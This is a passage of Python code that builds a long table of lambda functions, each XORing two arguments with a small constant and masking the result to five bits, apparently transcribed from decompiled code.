functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
